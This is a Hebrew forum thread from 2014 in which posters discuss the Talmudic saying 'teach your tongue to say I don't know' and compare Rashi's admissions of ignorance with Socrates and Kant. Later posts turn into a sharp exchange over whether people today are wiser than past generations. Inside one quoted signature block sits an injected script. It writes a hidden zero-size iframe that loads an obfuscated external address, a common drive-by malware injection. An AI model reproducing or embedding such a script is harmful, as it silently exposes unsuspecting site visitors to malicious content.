|
|
| נשלח ב-2/10/2014 06:57 |
 |
| |
| מיימוני כתב: |  | עודד וולאנד
הצטרפתי חזרה לאשכול רק עם מקרא תשובתך.
תארת - היטב - את גישתו של סוקרטס.
אבל האם רצונך לטעון שבעל האמרה בתלמוד שצריך ללמד את הלשון לומר "איני יודע" החזיק בשיטה דומה לשל סוקרטס?
כמדומה שההקשר בו אמר את הדברים הוא שונה לגמרי, גם אם הדברים מופיעים כמשפט עצמאי.
אני הבנתי אותו כך:
אל תתבייש להודות שיש שאלה שאינך יודע לענות עליה. עליך להרגיל את עצמך לעשות זאת כי הנטיה שלנו היא להתחמק מזה.
זה ממש לא מה שעשה סוקרטס, מה גם שקריאת הדיאלוגים יוצרת בקלות רושם שסוקרטס ידע יפה מאד לאן הוא חותר, כמו להוכיח לבני השיח שלו שהם ודאי אינם יודעים... וכמדומה שאחד מן המשתתפים בדיאלוג אומר זאת במפורש.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מיימוני -
הפעם אני מסכים לגמרי לתגובתך ולהסבר שנתת לעניין
וזה מה שכתבתי כבר בתחילת דבריי - שרש''י בעצם רוצה ללמד אותנו פירוש אמיתי לדברי הגמרא הנ''ל
שאין לנו להתבייש כאשר אין אנו יודעים פירוש לדברים שכתובים בתורה
ולכן מצא לנכון להדגיש זאת בכמה מן הכתובים כמו אצל אם יעקב ועשיו .
|
|
|
|
| נשלח ב-2/10/2014 14:35 |
|
| |
כותב מיימוני: 'האם רצונך לטעון שבעל האמרה ... החזיק בשיטה...'. לא, איני טוען כך. אחד הדברים המצערים בעיני הוא שחז'ל לא כתבו ספרים בהם גבשו את עמדותיהם. עד כמה הייתי רוצה לקרא ספר של רבי עקיבא כדרך שאני יכול לקרא את פילון מאלכסנדריה. כאשר אני קורא את 'חז'ל אמונות ודעות' של אורבאך, אני מבחין היטב בקושי לגבש איזו עמדה בתוך שלל הדעות הנאמרות לאורך תקופה ארוכה.
המשפט ''למד לשונך לומר איני יודע'' ראוי שיעמוד בפני עצמו כעיקרון של מחשבה. ההבנה שלך היא נכונה אבל אינה מספיקה. במישור הפשוט אכן כך, אל תתבייש לומר אינני יודע. אין הביישן למד. יתר על כן, אנשים אוחזים בדעות ואינם סובלים ביקורת. עד כאן הבנתך. אבל יש מישור עמוק ועקרוני יותר והוא עד כמה ידיעתנו מגעת. כל אחד מאיתנו משלם שקל ועוד שקל ויודע היטב ששילם שני שקלים, סוקרטס שילם בדרכמות ואין כאן הבדל. האם אנחנו מבינים את 'אחד ועוד אחד הם שנים'? וכי זנון לא ידע שאכילס ישיג את הצב בתחרות ריצה? אנחנו קוראים 'בראשית ברא אלהים', היש מי המבין את שלשת המילים האלו בנפרד ואת שלשתן יחד?
כללו של דבר, המשפט ''למד לשונך לומר איני יודע'' מעניין, אותי לפחות, כאשר הוא עומד בפני עצמו כעיקרון של מחשבה. אנחנו אוחזים בגופי ידע ובתורות אמונה, בטוחים בידיעותינו ובאמונותינו. אבל אם מתבוננים בהם יפה מתגלות הרבה מאד בעיות הבנה מאד עקרוניות. זה מערער את הביטחון בידיעה, מערער את האגו של מי שחשב שהוא, ללא ספק, יודע היטב. ודאי, זה מכעיס ומרגיז. והנה, למעלה מאלפיים שנים מאוחר יותר, מסביר קאנט כי 'כל ענינה של תבונתי [העניין העיוני וכן הענין המעשי] מצטרף לידי שלש שאלות אלו: 1.
מה אני יכול לדעת?
2. מה אני רשאי לעשות? 3. למה אני רשאי לקוות? [בקורת התבונה הטהורה, הקאנון של התבונה הטהורה פרק שני. תרג. שה'ב רוטנשטיין. מ.ב.]. הנה שוב השאלה הסוקראטית והמסקנה הקאנטיאנית כי עלינו לוותר על היומרות הגדולות שלנו. דימינו לבנות ארמונות, עלינו להסתפק באפשרות להתגורר בבית קטן וצנוע.
כאן התחברתי לדעתו של אייזן. ראוי שהאדם יהיה ענו, צנוע, שלא יתיהר לא בידיעותיו לא באמונותיו. ודאי היום כך, כשהאדם הרבה עד מאד את יכולת פעולתו.
באשר להערתך על המגמה של סוקרטס. בסוף הדיון הוא אינו מציג איזה פיתרון, כאומר אתם לא יודעים ואני יודע. גם לו אין תשובות והדיון מסתיים באי ידיעה. הזעם שהוא מעורר הוא משום ערעור הביטחון העצמי של בני השיח בהבנתם שלהם.
עודד
 |
|
|
|
|
| נשלח ב-2/10/2014 15:47 |
|
| |
| 932woland כתב: | | | אחר כך לדתו של מקסמן, |
|
גם אתה עם הדמגוגיה הזולה והפוגעת ?
|
|
|
|
| נשלח ב-2/10/2014 15:53 |
|
| |
כאן התחברתי לדעתו של אייזן. ראוי שהאדם יהיה ענו, צנוע, שלא יתיהר לא בידיעותיו לא באמונותיו. ודאי היום כך, כשהאדם הרבה עד מאד את יכולת פעולתו.
זה לדעתי הפשט האמיתי בדברי קדשו של רש''י
|
|
|
|
| נשלח ב-2/10/2014 16:01 |
|
| |
מקסמן, אני מתנצל עד מאד אם נפגעת. שיש לך השקפה משלך אינה פגיעה כלל אלא דבר הראוי להערכה. עודד
|
|
|
|
| נשלח ב-2/10/2014 16:22 |
|
| |
דעה משלך זה יפה אם זה מבוסס ומושתת על היגיון ודרך חיים
|
|
|
|
| נשלח ב-2/10/2014 16:36 |
|
| |
הדעה שלי וההגיון שלי הם הקובעים. ודאי לא דעתם של כל מיני תמהונים בורים שחיים היום ואלו שמתו מזמן.
|
|
|
|
|
| נשלח ב-2/10/2014 16:38 |
|
| |
ומה עם שאל אביך ויגדך זקניך ויאמרו לך ?
למה אתה חושב שאתה חכם יותר מהדורות הקודמים ?
|
|
|
|
| נשלח ב-2/10/2014 17:07 |
|
| |
| 932woland כתב: | | | מקסמן, אני מתנצל עד מאד אם נפגעת. שיש לך השקפה משלך אינה פגיעה כלל אלא דבר הראוי להערכה. עודד |
|
אתה מכיר אדם שאין לו השקפה במיוחד האדם שחושב וכותב וגולש לכאן ?
אז למה הומצאה דת מקסמן לדעתך ? הרי לפי טענתך כל השקפה של מישהו זה הדת שלו שצריך להעריך.
התשובה הפשוטה היא כי אני טוען שזה ההשקפה האמיתית של היהדות, באים אלה לטעון שלא נכון, זה ההשקפה האישית שלי ואין טעם לעיין בדברי.
הם רוצים להמשיך לחיות בבועה ובתיאוריות שלהם על היהדות. במקום לעצור ולחשוב טוב טוב מהי החשיבה האמיתית של היהדות. מה שאני עושה, זה רק לתת כאן את מה שקיבלתי מרבותי (כולל מרבותי כאן בפורום וכולל אותך כמובן) ובלימודי בחיים הקצרים שלי.
אין מה להעריך בי ותאמין לי זה לא עושה אותי מעורך יותר בסביבה שלי הרי בסוף כל סוף אני ווירטואלי. כך שאין שום סיבה לחשוב שאני מחפש ערכה כלשהי. אני ימות ואף אחד לעולם לא ידע מי אני במציאות.
אם ככה אז למה אני אומר שזה פוגע ? אם אני ווירטואלי אז כמו הערכה לא רלוונטית כך הפגיע לא רלוונטית. אז מה פוגע כאן ?
התשובה היא שזה פוגע בעצם התוכן הנכתב על ידי, הרי אני כותב שאנשים יקראו וילמדו וידעו וישכילו, כלומר אני נותן לזולתי מה שאני קיבלתי מרבותי ומלימודי שזה כולל גם את הפורום הזה וכל החברים והחכמים כאן שלמדתי מהם הרבה (ואגב גם ממך למדדתי הרבה ואתה גרמת לי להסתקרן ולקנות ספרים מסוימים וללמוד אותם לעומק.). ולכן זה פוגע ומזלזל בכל מה שכתבתי וכך אף אדם לא יקרא את דברי ואז סתם עמלתי לריק וגם הזולת מפסיד לקבל את מה שאני קיבלתי.
לסיכום:
זה לא עושה אותי מעורך יותר כי אני ווירטואלי. מצד שני זה פוגע בי במציאות כי זה גורם שכל עמלי במציאות היית לריק. וגורם לאחרים לא לקבל את מה שאני קיבלתי שזה עיקר עמלי.
ואתה לדעתי האחרון שייתן לדבר כזה לקרות שתוכן כלשהי תלך לאיבוד אפי' אם התוכן לא מתקבל על דעתך. כלומר כמשכיל את יודע שכל תוכן חייב להישאר לטובת הלומדים בכל הדורות.
בברכה
max
|
|
|
|
| נשלח ב-2/10/2014 17:12 |
|
| |
| ושםהאחר כתב: | | | הדעה שלי וההגיון שלי הם הקובעים. . |
|
בוודאי, לטוב ולרע כמובן.
כל הלימוד הם פונקציה\אמצעי לבנות לעצמינו הגיון בריא.
אם לא היינו קובעים בעצמינו, אז מה הטעם בלימוד ? הרי הכל קבוע מראש ?
|
|
|
|
| נשלח ב-2/10/2014 17:33 |
|
| |
זה יכול לקבוע לעצמך
אך אם תרצה שגם אחרים ינהגו ויחשבו כמוך
תצטרך לתת הסבר מניח את הדעת לדבריך והגיגיך
|
|
|
|
| נשלח ב-2/10/2014 18:05 |
|
| |
יש הבדל בין למד לשונך לומר איני יודע לבין דברי רש"י איני יודע מה ילמדנו. למד לשונך לומר איני יודע, אל תדבר על דברים שאינך באמת יודע, ואם שואלים אותך עליהם, אמור איני יודע. לפיכך, כשרש"י אומר איני יודע מה ילמדנו, מאחר שאומר זאת מבלי ששאלו אותו, משמע שכוונתו שהוא יודע שאינו יודע מה ילמדנו, כלומר הוא שם גבול ואומר עד כאן הגיעה חכמתי.
|
|
|
|
| נשלח ב-2/10/2014 20:32 |
|
| |
מאיפה אני יודע כי אני יותר חכם מהדורות הקודמים כי אני משתמש במחשב והם לא, כי הידע שיש לי הספרים שיש לי והידע שעומד לרשותי. לא היה בחלומם של הדורות הקודמים. מה שאני יודע הם לא ידעו, אפילו אתה יודע יותר מאשר סבא שלך מה זה שאל אביך ואם אביך היה טמבל בור ועם הארץ ואם אביך היה עובד עבודה זרה גם אז שאל אביך
שאל אביך זה בתנאי שהוא חושב כמו יתר הבורים והפרימיטיבים
|
|
|
|
| נשלח ב-2/10/2014 22:11 |
|
| |
מי שחושב שהוא יותר מחכם אחרים כבר אינו מראה על חכמה
כי חכמה מביאה לענווה מכיון שהחכם מבין את מקומו ומתכנס אליו
איזהו חכם ?
הלומד מכל אדם !
|
|
|
|
| נשלח ב-2/10/2014 22:22 |
|
| |
אתה הרי לא לומד מכל אדם אתה לומד רק מאנשים מסוימים מאד שהשכלתם וידיעותיהם מוטלים בספק גדול כי ידיעותיהם מבוססת על כלום. כי לא היה להם על מה לבסס אותם. בחיים שנסעו בעגלות ולא היה מים זורמים בברזים.
הדפוס טרם הומצא וספרים נכתבו בתנאים פרימיטיבים שנמחקו בחלקם בגל הדיו הפרימיטיבי שהיה להם.
|
|
|
|
|
